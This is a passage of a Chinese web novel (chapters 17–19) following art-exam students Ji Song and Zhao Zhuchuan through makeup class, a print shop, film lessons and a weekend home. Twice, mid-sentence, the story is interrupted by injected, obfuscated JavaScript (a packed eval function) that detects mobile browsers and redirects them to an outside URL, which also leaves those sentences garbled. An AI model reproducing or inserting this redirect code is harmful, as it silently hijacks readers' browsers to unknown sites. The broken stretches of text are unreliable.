Vega给她下了最后通牒:“六月来临之前必须把刘海留长,不能再去剪了。想拿合格证就听话。你和纪颂一样,额头不露出来都白瞎了这张脸。” 纪颂在底下对着白纸继续学画眉。 他抬头,点名来得突如其来,有点儿懵。 “有些人又不做造型就来上课,这是对我的不尊重,”Vega拿起戒尺拍了拍讲桌,不知道在阴阳谁,“下周我的课,男女生全部全妆出席,按照自己的审美来改造自己,我要开始给你们形成个人造型设计意识。” Vega顿了顿,扫了眼纪颂坐的那片。 最后说:“赵逐川不用。” 纪颂:“……” 下课前,Vega挨个点评了班上其他同学。 等所有人都被“挑刺儿”了一番,Vega双手抱臂,一边说一边往讲台下走:“纪颂必须抓头发、遮黑眼圈,修容和眼线都不用学,清爽为主。林含声呢,去理发店把头发剪短点。况野留长发,留到肩膀下面单个指节的位置,留长之后我教你怎么梳。” 况野懵了。 他活了十七年,在山里或者在学校的人设都是“那个硬邦邦看起来打人很疼的男的”,上初中的时候,鬓角还剃过特别张狂的非主流字母,从来没人叫他留过长头发啊。 况野举手:“V,V老师……” “Vega。” 身边的人抽出腰侧戒尺,轻拍了拍桌,在班上其他同学闹哄哄的议论声里压低嗓门,“况野。你想不想上北戏?” 京北戏剧学院—— 他梦想中的话剧最高学府。 在况野心里,话剧拥有让观众演员都身临其境的呼吸感,以人的生命力与即兴创作出不可复制的永恒。 升高一前的那个暑假,他和父母在省城剧院看了人生第一场话剧,从此心里埋下小小的种子。 他出生在少数民族片区,生长在赤裸天地之间,所有的喜乐哀愁迈不过雪山,也不会比兀鹫飞得更高,他对钱财没有太多追求,纯粹是因为热爱才选择了这条路,由于自身长相风格化明显,他从未觉得自己会被顶尖院校偏爱。 而 Vega 的反问,却给了他许多前行的勇气。 班上男生还停留在画眉毛的阶段,女生已经开始学涂口红了。 Vega选了几款色彩重一些的口红,举起来展示道:“大家看一下,这种色彩可能会有染唇的效果,到时候如果真遇到有学校要擦妆,擦掉了也能留点颜色,看起来不至于那么死气沉沉。毕竟有好多同学考前为了不水肿都不吃东西饿得嘴唇发白,考官老师会觉得你看起来没精神。” 纪颂正在一心二用,偷偷听。 左边桌女同学的口红“啪嗒”一声落到地上,圆柱形的小物件在地上骨碌碌滚了两圈,停在他的脚边。 纪颂弯腰捡起口红,多看了两眼。 右边桌的男同学见他好奇,打了个响指吸引注意力:“纪颂。” 纪颂闻声转头,目光迎上偶尔会穿女装来上课的宋微澜。 宋微澜个头不算太高,眉清目秀,不化浓妆其实是个颇为清爽的男生。 他盯着纪颂看了一会儿,耳朵微红,抿起嘴唇:“你感兴趣啊?” “也不算,就是没见过,好奇,”纪颂还真被吊起胃口,“是不是跟涂唇膏一样?” 17.五月 “当然有区别啊!” 宋微澜拧开自己的膏状口红递过去,看纪颂捏住管身轻轻地拧动的手指,说话的音调渐弱,“这是我才买的,还没用过,新的,还没拆封……你可以试试!正好Vega讲到有些皮肤太白的男生可以用颜色浅的口红提提气色。” 赵逐川坐在前座,单手撑着下巴听课。 他的眉毛不需要画,他也不想学画眉毛,上课全程基本都在削笔,一根眉笔削了快半节课,一听后座的纪颂在和邻桌讲话,他终于停下手上玩儿美工刀的动作。 纪颂的注意力全在口红上。 他与宋微澜中间就隔一条过道,平时上课下课时不时搭搭腔,纪颂没把他当陌生人,犯难了:“我不太会涂这个,下手重了能擦掉吗?” “我……我帮你涂吧。” 拿过口红,宋微澜撕开封条,轻巧转出短短一截膏体,又挪凳子坐到纪颂面前,招呼:“你转过来一点点……” 纪颂应一声好,侧过身面对宋微澜坐着。 前桌,赵逐川坐直身子。 他稍微偏过头来看了一眼他们两个人。 “嘴巴张开,”宋微澜捏住纪颂的下巴,手指捻着口红,细细描摹,“马上就好。” 宋微澜动作温柔,直到膏体的浓郁红色溢出唇线边界。 “不对,等会儿,怎么黏糊糊的……”纪颂朝后仰头躲开宋微澜的手,抓了镜子来照自己的脸,“哎!真涂多了。” “噗。”宋微澜端详他几秒。 两人目光一对上,也不知道是宋微澜先笑还是纪颂先笑,总之纪颂看了一眼桌上的小镜子后笑得脸疼,嘴唇又绷得施展不开。 纪颂嘴唇湿闷,像小时候冬季嘴唇干裂被纪仪龄强行糊上一层膏状体,连呼吸都变得不畅。 涂上口红后,他整个人就像被封住了言语,“啊”了几声,不会说话了。 Vega正在巡课。 赵逐川举手起身,往教室外走去。 Vega批了赵逐川的假,准备转身继续给女同学修眉,突然看见纪颂和宋微澜你看我我看你在笑,Vega的嗓音瞬间变得尖锐:“天哪,纪颂!你在对你的脸做什么!” 班上其他同学顺着声音望过来。 纪颂丢不起这个人,立刻抬手捂住下半张大花脸,想笑又不得不抿着嘴唇,眼眸弯弯的:“老师饶命,我马上去洗!” Vega翻了个白眼,招手道:“快去!” 出了教室,纪颂拔腿就往卫生间冲。 他拧开水龙头,急慌慌地想掬一捧水拍在脸上,突然有人攥住了他的肩头,肩膀硬生生地被扳了过去。 纪颂一愣:“你什么时候……” 赵逐川没好气地说:“别动。” 原地施法。 纪颂不知道自己的身体为什么那么听话,第一反应就止住了动作,直到赵逐川像宋微澜那样捏住——自己的下巴。 赵逐川穿了件速干短袖,衣料贴合身形,恰到好处地勾勒出全身线条,呼吸时胸腔轻轻震颤,垂坠在胸前的纯银挂件随之起伏。 两人隔得太近,纪颂下意识往后挣了挣,发现躲不开。 他的下巴被赵逐川用中指和食指夹着,大拇指指腹顺畅地按上。 或者说是,揉搓上了他的唇。 赵逐川的指腹炽热,有着与他本人性格不同的温度。 指纹像盖章一般印上纪颂的嘴唇,再往唇角走,如飞机悬停,再向上,往北偏东的方向—— 最后落在纪颂那清淡的眼尾上。 纪颂垂着眼,睫毛根根分明,尾部线条平稳,像素描里最轻的那笔。 可这一抹红色涂上去,他五官中本不存在的瑰丽感迸发了出来。 “你不需要学涂口红,”赵逐川放开他,脖颈上那处凸起上下滚了滚,而后隐入喉间,他转身弯腰洗手,“考试如果嘴唇苍白没血色,借用外力也能搓红。” 纪颂真听说过有演员为了演脸红自打脸的情况。 他抿了抿嘴。 纪颂不恼赵逐川把口红擦在自己眼睛边,只当在玩闹,转头对着镜子看了看,回头对赵逐川笑起来:“看来我还适合唱京剧,要不到时候我再去报个国戏碰碰运气……” “我先回教室,”赵逐川拧起眉,递了两片没开封的湿纸巾过去,“你记得擦一下脸。” 他转身离开了卫生间。 回教室座位时,纪颂经过赵逐川的课桌,把没用完的湿纸巾放回他桌上,小声说:“只用了两张就擦干净了。谢了。” 妆发课上到现阶段,全班第一次全妆下课。 Vega喜气洋洋,对每一个“作品”都非常满意,指挥全班拍照留念,找来金姐掌镜,钻进学生堆里一起比耶。 照片上的纪颂和赵逐川一前一后,刚好在一起。 两人肤色对比不太明显,但纪颂像被刻意调低过了饱和度,在男生中白得发光。 Vega打开发到群里的照片,下载原图等了好久,抱怨了一句教室信号差,随后又叫起来:“我的天,这俩长得蛮搭啊?一个浓颜一个淡颜,哎,真别说,两个人同框真是玄学……” 赵逐川抿着嘴唇没吭声,漫不经心地在座位上转笔。 他对着Vega点了下脑袋。 而讨论中心的另一位主人公——纪颂,迅速地、带着炫耀情绪地,把这张相片发到了他高中的哥们儿群里。 基本就是校队那几个人。 主力纪颂走后,他们没找到更好的得分后卫,对递上来的替补不太满意,五一放假期间天天哭爹喊娘求纪颂回学校。 纪颂回复:勿扰,接受艺术熏陶ing。 于是群名被改成:手撕烟熏板鸭。 【薄炀:我.草?大帅哥!!!!】 【凌云:逆天。高中生能长成这样?】 【纪颂:谢谢谢谢。】 【薄炀:不是,我说你旁边……】 【纪颂:想打架?】 【薄炀:大帅哥怎么在看你,是不是想Gay你?】 【纪颂:OK等回学校我也看你。】 【薄炀:?】 【薄炀:为什么眼睛那么红啊?我儿哭了吗,是不是在艺校被欺负了?爹来帮你。】 【凌云:哈哈哈你就是知道颂哥回不来才敢在这儿大放厥词!】 【贺临天:好好奇,你平时都上课?】 【纪颂:看电影,装动物,化妆,念词儿,跑步,健身,看故事书,画小人。好了,跟你们这群没有创意的人说不通。】 【薄炀:真爽。爹的艺术天赋都被你吃了,还我。T_T】 【纪颂:OK回头揍你鼻孔里。】 薄炀这混蛋玩意儿的废话终于说完了。 纪颂直切主题: 【纪颂:……所以,我让你们给我留的题呢!】 即将升高三的学生玩手机时间有限,薄炀也不敢跟他继续扯东扯西,赶紧发了一套扫描文件过来。 纪颂果断发过去辛苦费。 那金额够买肯德基全家桶了,吃完还能把空纸桶扣在头上两眼一抹黑不分白天昼夜地沉醉在学习之中,视觉味觉双重享受。 传送来的是这半个月学校发的几套卷子,还有一些上课抄写下来的笔记讲义。 薄炀成绩很好,整个人除了嘴贱之外没有太多Bug,校篮球队教练还说过他能走体育生,但薄炀和纪颂一样,有自己的梦校,最爱说的一句话就是“不试试怎么知道呢”,偏带着这个年纪骨子里的天真与倔强。 下课后,纪颂跟林含声他们打过了招呼,自己拎着书包跑去校内打印店印资料。 对林含声和况野以及班上许多走播音表演的同学来说,高考文化分只要能过当年划的本科线就能被录取,这两个专业一般收分不会高到哪里去,主要是根据专业排名录取,所以在目前阶段,打牢专业基础比恶补文化课重要。 纪颂要考的专业不一样。 收戏导专业的学校很少,能报的不多,每所学校划线还有所不同,他还想了,如果艺术考不上,他走纯文化也可以录一些相关专业,但央传去年收的戏文专业报考生要求文化课达到一本线以上。 他目前分数稳定在一本线以上,但没超多少,他现在为了艺考起码要耽误半年的冲刺时间,不得不自己先把文化课捡起来。 午后阳光正好,纪颂连饭都没吃,咬着面包,正一张一张将试卷归纳入袋。 “同学,做家教的呀?”打印店老板在帮他订书页,乐呵呵地,“还是……” “我是集星的,”纪颂三两下吃掉最后一口椰蓉面包,笑容乖巧,“叔,我明年高考。” 老板一愣,比起大拇指:“哎哟,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792750|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙子挺用功啊?今年我还没遇到过集星的学生来打试卷呢,你是第一个。” 打印店的门被推开。 纪颂耳畔传来熟悉的男声:“那我是第二个?” 赵逐川的声音天生比同龄人更沉,穿透力强,辨识度高,纪颂已经完全形成了能听声识人的本领,头都不抬一下:“不是吧,你也打题来做?” 他语气带笑,像在说,好巧原来你也在卷啊? “嗯。”赵逐川扫码传文件,用最淡定的语气说最火烧屁股的话,“我马上要交的题还没做。” 纪颂问:“什么题?” “准确来说,是作业,”赵逐川发送文件,打印店的机器开始轰然运作,见纪颂一脸茫然,他才解释:“一对六的文化课老师们每周都会给我布置作业,等下次补课再交。” 集星每周内的课程训练强度不小,几乎每天晚上八点后才有喘息的机会。 纪颂算来算去,按照赵逐川回京北的时间,实在想不出来他哪有时间去上那么多文化课。 纪颂看了眼不断往外口吐白沫的打印机。 靠。 再打下去打印机都要累死了! 他顿时落败,提出友好建议:“一对六可以抄同学的,等交完差再自己做一遍?” “是我一,”赵逐川垂眸整理文件,“老师六。” 六位不同科目的老师? 纪颂抽了抽嘴角,想象不出来赵逐川的文化成绩到底有多烂,才以至于如此兴师动众,但这人写得一手好字,成绩再差也不会差得没眼看。 他忍不住道:“兄弟你不是学表演的吗?” “嗯。”赵逐川看他一眼,“那也不能放松警惕。” 其实他的文化分完全能过线,但他始终记得赵添青说的话—— 校考露面公开后,你随后的高考文化分数肯定会被爆出来,希望你不要让自己失望。 其实说到底,是不能让赵添青失望。 他明白,不只是高考成绩,连校考成绩还会与赵添青的名誉有所关联,甚至那个他不了解的陌生男人也会关注。 胸口一紧,赵逐川继续沉默着检查作业。 纪颂瞄到赵逐川打印资料上的“京北”二字,忍不住多瞧几眼,好奇道:“你选的哪三科?” “理科那三科,”赵逐川说,“我文字表达水平比较烂。” 我看挺好。 纪颂腹诽,每次嘲讽开大突脸都挺疼的。 “那帮不了你咯,我是祖传文科生,”纪颂收起资料,一副很骄傲的口吻,“我爸是大学历史老师。” 赵逐川终于发自内心地笑了一下:“叔叔很厉害。” 纪颂拉上文件袋拉链,抬头朝他看去:“你呢?” 那双眼干净明亮,完全没有要窥探个人隐私的意思,赵逐川想回答也回答不出,只在想,如果他真能知道他生父是怎样一个人就好了。 那天纪颂说的什么黎意,什么靳霄—— 赵逐川不是没有怀疑过,但后来想来想去,觉得还是不要有亲爹比较好。 他已经长大了,他不需要了。 “我妈是舞蹈老师。”扔下这句话,赵逐川抱起纪颂一只手根本搂不完的部分文件,转身走到打印店门边,用手肘推开了门。 厚重的玻璃门吱呀一声,大敞开,没有合拢,是赵逐川用手抵着它,在等纪颂。 门张开了嘴,迎面一道黏腻夏风吹拂上手臂,赵逐川却什么话都说不出。 纪颂没想到赵逐川会给自己留门。 他妈纪仪龄嘛,一个徒手开了建材公司的女人,撇开他爸那点死工资,纪仪龄就是家里的顶梁柱。 他小跑着跟上,像一阵风钻出了玻璃门,轻巧灵动,一下子就跳到赵逐川前面去了,回头笑道:“哇,阿姨在京北教舞蹈?那你跳舞肯定不差,对不对?” 赵逐川没接住他过于雀跃的情绪,别开脸:“不教。” “不是,我不学,我在这上面没什么天赋,考试的时候只能做点儿厉害的动作唬唬老师,你如果教我,我只会左脚踩你右脚,”说是这么说,纪颂却因为联想能力太丰富一下子开始想赵逐川教他跳舞的画面,回过神,才说重点,“我是想象不出来你跳舞的样子。” “等月考的时候,”赵逐川偏过头看他,嘴角压着若有若无的笑,“你来看我就知道了。” 18.五月 打印机疲惫地吞吐完纸张,机器终于进入午休时间。 回集星教学楼会经过师大校医院。 纪颂一边走一边欣赏着那白瓷砖贴面的陈旧建筑,直到翠绿玻璃反射的光刺痛眼睛,他想起来消毒酒精用完了。 现在正在午休,医生还在睡觉,纪颂挂完号,一边喝酸奶一边等,敞开两条腿,在诊室长廊外坐着看卷子,看得那些原本认识的字符变成蚂蚁爬上手背,他快睡着了。 赵逐川同纪颂一起来的。 他正戴着耳机坐在凳子另一头看书,很安静,半句话不多说。 纪颂本想说要不然你先回教室午休一会儿,下午还有课,但赵逐川预判性地一句“事情因我而起”堵住了他的嘴。 随后赵逐川就掏出了他那本书开始认真看,书名是《演技六讲》。 纪颂开始沉思。 好小子,偷偷进步,以后我要注意点你是不是在演我! 一楼导诊台边的阳光笼罩住赵逐川。 风摇曳过树梢,枝叶沸腾,一点点光斑在发顶跳跃闪烁,少年原本不发一语的气场霎时鲜活起来。 纪颂看得出神,全然忘记下一道题由什么思路解,手里转几圈都没落下的笔“啪嗒”一声落到地上。 赵逐川闻声抬头。 两人目光忙不迭撞到一处,纪颂立刻错开脑袋,弯腰去捡笔。 赵逐川取下半边头戴式耳机挂在脖子上:“在看什么?” 纪颂捡完笔杆又满地找笔帽,说:“看医生什么时候来。” “这样,”赵逐川很轻地点点头:“但刚刚值班护士说休息室在你后面。” 纪颂头一次发觉原来尴尬是一种可以改变人生理构造的情绪,他现在就恨不得自己眼睛长在脑后,最好嘴巴也说不出话,耳朵也听不见—— “看我就看我,没什么不能说的。”赵逐川很随意地继续低头翻页。 “好吧,是在看你。” 纪颂败下阵来,一脸“看你怎么了”的表情,视线下移,大大方方地看赵逐川的手指摁在纸张上,书页和校医院外青绿色的叶片一同哗哗直响。 医生睡醒后,不到五分钟,他那只需要消毒的耳朵被医生手法利落地包成了大白粽子。 两人一边往教学楼走,一边假装很忙地各自看手上的东西,纪颂明显感觉到赵逐川扭过头来瞟了他耳朵好几眼,终于忍不住了:“那你又老看我干什么?” “看你好笑啊,”赵逐川坦诚应道,“包得这么搞笑,还不让看了?” 纪颂:“……” 下午的课是李欲的。 说是要给学生们培养审美,他拉了几部文艺片的片头前五分钟出来赏析,亲自剪出来的课件也没能给底下昏昏欲睡的学生们带来几分兴趣。 “这个场景的镜头运动方式用平移,当做过场,在场景转换之间平移,”李欲掰断一根粉笔朝台下扔去:“为什么用平移?” 粉笔落到桌面上,“啪”一声。 中午没睡觉太困倦,纪颂一个激灵就醒了。 他简单扫一眼幕布上正在循环播放的影片片段,想了想,答:“模仿时间平稳地流逝。” 李欲冷笑一声继续讲下一幕,算纪颂过了关。 可他又盯着纪颂的耳朵:“你那是怎么回事,准备放学去演《黑猫警长》第二集么?” 下课铃响了,李欲收拾课件准备休息,不忘在大课间放了《黑猫警长》第二集。 幕布上的小坏老鼠东奔西走惊叫闪躲,被黑猫警长持枪击伤一只耳朵。 赵逐川还稍稍侧过头来,从臂弯下比了个枪的手势对纪颂打一下。 纪颂抬腿给了他凳子腿一脚。 放完这个,李欲又挑了个奥奖最佳动画片播放。 班上几位男同学勾肩搭背地出了教室去厕所抽烟,其他同学要么坐位置上看书,要么围着李欲聊些七七八八,总之没几句和专业学习有关系的。 等人群散去,李欲拧开水杯喝一口茶,才站起身朝纪颂座位边走来。 睡觉被逮,纪颂下课没再睡。 他换了个舒服的坐姿,聚精会神地看动画片。 李欲走至桌前,纪颂坐直身体,喊了声“老师”。 “谁准你上课睡觉的?昨晚干什么去了?”李欲一副恨铁不锈钢的口吻。 纪颂特别受宠若惊,老实交代道:“看书看太晚了。” 等他报出书名,李欲终于满意地点点头。 这本书是去年票房大卖的院线电影原作,纪颂还以为李欲这样科班出身的学院派会对此嗤之以鼻。 李欲的确更像个美术老师。 见到李欲以前,纪颂以为本专业男老师多是冷帽烫发、胡子拉碴、烟酒都来、愤世嫉俗的。 可李欲不一样。 他总是神情忧郁着,语速不疾不徐,常穿的牛仔衬衫松垮地套在瘦削的身形上,洗得发白,却又合适得像他的第二层皮肤。 李欲抱着胳膊又在纪颂座位前转了转,最后从衣兜里摸出两个黄色小盒子,垒积木似的垒在纪颂课桌上——两盒柯达CP200胶卷。 目前市价忽高忽低,纪颂亲眼看着一路从十几块涨价到六十多块,一盒能拍36张,纪颂平时都不太囤,等拍完几卷再往家里补货。 “上次结课后,你加了我微信,对吧。我看了你朋友圈,前年有几组胶片拍得很好。”李欲敲了敲桌子,“笃笃”两声。 不等纪颂说话,他继续道:“这两卷是我布置给你的作业,一卷拍人,一卷拍景,拍完我给你洗。” 纪颂头一回受到集星老师的特殊照顾。 他眨眨眼,能说出口的话仅有道谢:“老师,我……” 李欲的耐心似乎并不多:“别废话,好好拍。同样的胶卷我也给了云朵一份,她看起来可比你积极。” 他拍拍纪颂的肩膀,又转身往讲台上走去。 接下来一整个晚上加周五早晨,纪颂都在想要怎么拍。 这算不算李欲给他单独布置的作业? 在第一次上影片课后,纪颂加了李欲微信,验证通知足足去了两三天,直到快要过期才加上好友。 某次下载完李欲分享的资源大礼包后播放器无法解码,纪颂还发消息过去问,李欲都没回,过了很久才回一句:你还真去看了啊? 老师语调带笑,有几分无奈和欣慰,还说这里不是京北,真心想走这条路的学生不多,大都是为了少些分考个大学。 纪颂一上午都在抽屉里看专业书,洪鸣听他回完课过了稿件没问题,也就没再管,他满脑子都是昨天晚上李欲发来的微信,说让他多拍点东西,等下个月正式进入暑期,师大人少了,李欲还会让学生拍实践短片。 那是以后的难题了。 现在的问题是,赵逐川吃完午饭就要走。 “确实有事。”赵逐川扔掉解决干净的盒饭,扯了张纸巾擦手,本来不想做过多解释,可一迎上纪颂眼巴巴的眼神,他还是多说了句:“京北要下暴雨,中午不走,晚上我就走不了了。我有很重要的课。” “那你走了,颂颂怎么办?下午是表演课。”林含声说。 被“抛弃”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802176|173597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人无辜抬头。 吃到嘴里的白米饭忽然不香了。 后面卡座的孟檀双膝跪上沙发,朝这边看来:“对啊,钟离老师说要抽题呢,两人一组,按学号你俩是一组的。” “第一次回课按照正序,第二次回课才按照倒序,轮到我和纪颂应该得等下节课了,”赵逐川说,“钟离老师要点评、抠戏,你们候场时间也会很长。我会抽时间早点回来找纪颂。” 当时纪颂没听明白最后一句什么意思。 可眼下他是当事人,不得不开口控制局面:“那抽题就交给我了?” “嗯,”赵逐川单肩背好书包,“你抽了发给我。” 纪颂低头戳米饭:“要是抽到什么丑角和二百五剧情你不会骂我吧。” 赵逐川偏过头,眼眸沉静,像是非常认真地思考了一阵子,道:“说不准。” 纪颂:“……” 要不你还是赔我点钱吧? 下午,抽完题后准备时间有半个小时,等同学们一齐观摩完前三组回课,时间最不够用的表演课下课了。 纪颂第一个领走金姐发来的手机。 金姐挺诧异,嘀咕道:“纪颂今天这么积极啊?” “我搭档不在,所以分到了什么角色得给他汇报。”纪颂迅速连网开微信,做好心理建设,噼里啪啦敲下一排字发过去。 【蝉:分手许久再见面的恋人。】 想了想,纪颂甩过去一张表情包:不好意思亲,这边协商赔偿您0元,您看可以吗?.jpg 燥候一分钟,没回。 燥候两分钟,还是没动静。 纪颂猜,赵逐川可能是有点膈应,消息都不回了? 他琢磨半天,终于长按屏幕再发一条语音:“那个,兄弟,你别介意啊,我都跟钟离遥老师说了我俩都是男的了,她说让我闭嘴好好演。” 这是事实。 班上还有俩女生抽到“同居两年的情侣”这种题,人家也大大方方接了,半点不忸怩。 他如果还全力抗争,倒显得他这个演员不称职,不是剧本挑演员,而是在摆谱挑剧本。 短短几分钟内,纪颂紧张地看了手机好几眼,很怕赵逐川猛地回过来一条“谁是你兄弟”击碎他本就摇摇欲坠的自尊心。 毕竟排练这种事,到时候还得赵逐川带着他练,纪颂现在完全入门级小白,很容易出戏,钟离遥说他好几回了。 【1101:知道了,我想一下。】 【1101:可以先把你的构思发给我听听。】 二十多分钟后,纪颂发来几条四五十秒的语音,最后跟上一句: 【蝉:标准普通话,支持语音转文字。】 【蝉:如果你懒得听。】 赵逐川没转,直接点了扬声器外放。 “赵逐川,我们先……我们再……最后……” 少年嗓音清亮而有穿透力,普通话咬字显然比月初时清晰不少,气音标准,讲话都中气十足,他说着说着,像是演进去了,对两个角色的剧情设定都有了语调上的不同。 语音条播放完毕。 赵逐川放下手机,抬眼朝坐在两米开外的老师看去:“老师。不需要修改?” 在软椅上坐着的正是京北人民艺术剧院的王牌表演教练,秦俐。 秦俐马上快六十岁,是出了名不好惹的严师。 她扶了扶眼镜,双手交叠于双膝,笑容和蔼:“不需要,这孩子想法不错。你听他的,照着演吧。” 赵逐川“嗯”了声,嘴角一弯,总觉得像自己连带着被夸了。 19.五月 周六,比戏导课的学生参与度更低的新课开课了。 宫雪老师的戏文课。 她是本省985大学戏剧影视文学专业的硕士,刚开始上班,哪怕没几个学生愿意听课,她还是很有热情。 宫雪滔滔不绝地讲了两个小时,又放了部十分钟的获奖短片,布置了随堂作业让学生把片子还原成故事。 纪颂撑着下巴在草稿纸上飞速记下框架,没构思太久,摸了张a4纸出来低头开写。 一直写到放学还没写完。 “怎么这节课你又最后一个领手机?不积极啦?”金姐挎着她那只托特包,放下一瓶纯牛奶,语重心长:“纪颂,你要记得去吃饭,小小年纪要保护好胃,以后考试连轴转很辛苦的。” 纪颂正感动,一抬头看每张桌子上都放了牛奶。 金姐笑着解释:“彭校看你们一个个饿得脸色发青,怕你们这群小孩儿光顾着减肥不长个,让我给你们多补补。” “谢谢金姐。” 不让我们吃饭的是明跃老师啊彭校长! 纪颂道过谢,点了个外卖继续写。 是炒饭还是炒粉?他不记得了,反正高油高盐吃得很爽,吃到嘴里味儿都差不多,最后纪颂写到天黑,屁股没挪一下,听见有同学三两成群进教室的动静,才反应过来上晚自习了。 晚自习不收手机,躺在抽屉里的手机轻轻震了震。 纪颂停笔,指尖一动,划开屏幕。 是一班拉了群。 群主是班上一位姓路的同学,说明这不是金姐拉的“官方群”。 原本大家都在讨论二三班在今天下午已经有学生陆续报道的事情,不知道班上哪两个男生当面讨论的声音变大了,就有人说:“二三班有几个美女,你们看见没有?” “有我们班孟檀好看?” “比女生干什么啊,有本事比男生!好看的男生比女生少!” “我们班有赵逐川呢,不输他们的。” “下周就月考了,他们也参加?” “月考考得简单,听说是分科排的。” 纪颂兴致缺缺,对来了三四十个新同学的概念很模糊,也没有把同学当成假想敌的习惯,手心托着腮,在想下一幕拆解剧本该如何写。 前面的座位空荡荡的。 他对班上同学讨论了什么完全没好奇心。 真有什么爆炸性大新闻,等回宿舍了,林含声和况野也会讲的。 可纪颂憋不住话。 放学前,他看到金姐又来教室里巡了一圈,问林含声:“金姐最近经常来巡课?” 林含声悄悄说:“因为最近才逮到一对谈恋爱的,家长都请来了。估计明天办公室里会很热闹。还记得上次我们去找的那个女生吗?她男朋友是师大大三的。大三那边宿舍人少,所以他俩就在男生宿舍楼下约会,被金姐抓了个正着。” 纪颂一直对别人的私事没太大兴趣。 他并不想问女同学干什么去了,找到了就行。 一听男方都读大三了,纪颂还是很意外:“差挺多。” 林含声收拾书本往外走,扭头道:“啊?还行吧,我上次听说有师大大三的学姐来打听你,都找到我们班上来了。” “哦……忘记了。” 他记得是个姐姐,当时情况如何他没印象了。 班上同学们要朝夕相处,有不少人视时间为金钱,都很拼,极少听见谁说要和谁谁谁谈恋爱的事情。 但眼下另外来了两个班的新生,人多了起来,难免会有意料之外的事发生。 林含声笑一声:“我就说吧,看你像高三不会谈恋爱的人。” 纪颂从没认真思考过这个问题,完全状态掉线:“除非我谈个梦校的还能激励我点儿,不然还真没什么兴趣。” “非得要同行吗?你谈个京北的不也一样?” “我又不是为了落户。” 林含声笑了:“那我得找个专业特别好的,还要年纪比我大,能照顾我又能给我讲课件的。” 纪颂说:“那你找洪鸣去吧。” 林含声:“。” 早就习惯了纪颂这种有一搭没一搭的聊天方式,林含声继续说:“班上都传开了,被请家长的是……” 他报出了两个班上平时八竿子打不着的人名。 纪颂沉默几秒:“看不出来。” 林含声说:“看不出来就对了,现在流行这种地下恋情。别人都看不出来,不知道,回头,哎?一官宣他俩是一对儿,这才刺激。” “偷偷谈有什么意思,”纪颂说,“又不是见不得光。” 林含声看着他,好几秒都没吭声,等身后一波又一波的同学嬉闹着从楼梯上飞奔下去了,才说:“因为……并不是所有感情都可以公之于众的。” 当时纪颂还没懂这句话什么意思。 可这句话就像喝糖水突然误食一颗莲子心,听得人嘴巴里发苦。 纪颂嘴角一抽抽,皱眉:“小林,你能不能像你的名字一样,把声音含在嘴里,少说点儿话啊?” 林含声刚想继续八卦,一听纪颂这话又闭了嘴,过一会儿没忍住:“颂颂。” 纪颂正忙着低头看手机:“你说。” 林含声:“可我的名字不是这个意思!” 纪颂:“……” · 周日傍晚,集星照常放假。 纪颂家住得远,离集星有将近一个小时车程。 刚出校门,纪颂被一位穿Polo衫的中年男子喊了个正着:“颂颂——” 纪颂走得一身汗,闻言转了脑袋望过去:“舅舅?” 舅舅穿得特别像上世纪九十年代去粤地捞金回来的大款,花纹繁复的衬衫敞着领口,嘴上叼一根还没燃完的烟,搓搓手,双手合十,干巴巴地又喊了声“颂颂”,才走近。 他咬着根娇子金如意,一说话,烟雾全顺着夏风往脸上飘:“你妈……” “也就是你姐。”纪颂伸手夹走他舅呛人的烟,手指掸掸灰,眯起眼,“我妈让你来接我?” 舅舅愣了下,憨笑起来:“对对对。她正从公司赶回家等你呢。” “走吧,舅,”纪颂一眼瞄到自家的车停在路边,猛地回头,“那我爸呢?” 舅舅也跟着他的回头刹停脚步:“哦,你爸啊?你爸在家里做饭呢,说你好不容易回来,下次见面都不知道什么时候了。” 是,他也搞不明白他爸一个大学老师为什么忙得如此神龙见首不见尾,有几回他都差点以为他爸妈离婚了。 勇敢提出质问后,只换来纪仪龄一句:还有这种好事? 汽车在家里地库停下。 纪颂钻出车门,正准备拿行李箱,可他舅舅动作比他还快,早已绕到车后打开了后备箱。 见舅舅搬得满脸是汗,纪颂心一软:“舅,要不还是我……” “没事,我来我来。”舅舅关上后备箱,拍拍手上的灰,叉腰,“颂颂,你快回家吧,你爸肯定都等急了。” 纪颂“哦”了声,拖着很轻的箱子往地下室门外走,又一回头:“那你呢?” 舅舅脸上露出了局促的笑容,摆手:“我就不去了吧。我还得送岚岚上学去。” 岚岚是舅舅的女儿,纪颂的表妹,还在上初中。 舅舅在纪仪龄手底下当司机有一两年了,之前一直在游手好闲地干些什么事,纪颂都不清楚,只记得他舅不太着家,舅妈在岚岚很小的时候就改嫁了。 回到家后,纪颂在厨房外跟难得亲自下厨的亲爹打完招呼,急匆匆上楼,从亚克力箱子中小心翼翼地取出他的佳能A1胶片机,再掏出书包里的胶卷,按进去,听一阵木轮毂滚过沙地的震动声响—— 滋滋。 这动静像油锅冒泡,烫得他手感火热,恨不得赵逐川现在就坐在他床上,马上当他的模特,被他狠狠狂拍一通。拍照的拍。 不止胶片机,纪颂还有一些摄影设备在家里,都年事已高。 他的CCD不是网上找店家淘的那种老机子,还真是他妈纪仪龄留下来的老古董相机,里面还有不少纪颂小时候光屁股的照片。 纪颂把所有设备堆在木书架上拍了张照,顺手发给赵逐川。 赵逐川秒回。 点开,照片里是一台哈苏907X。 没有 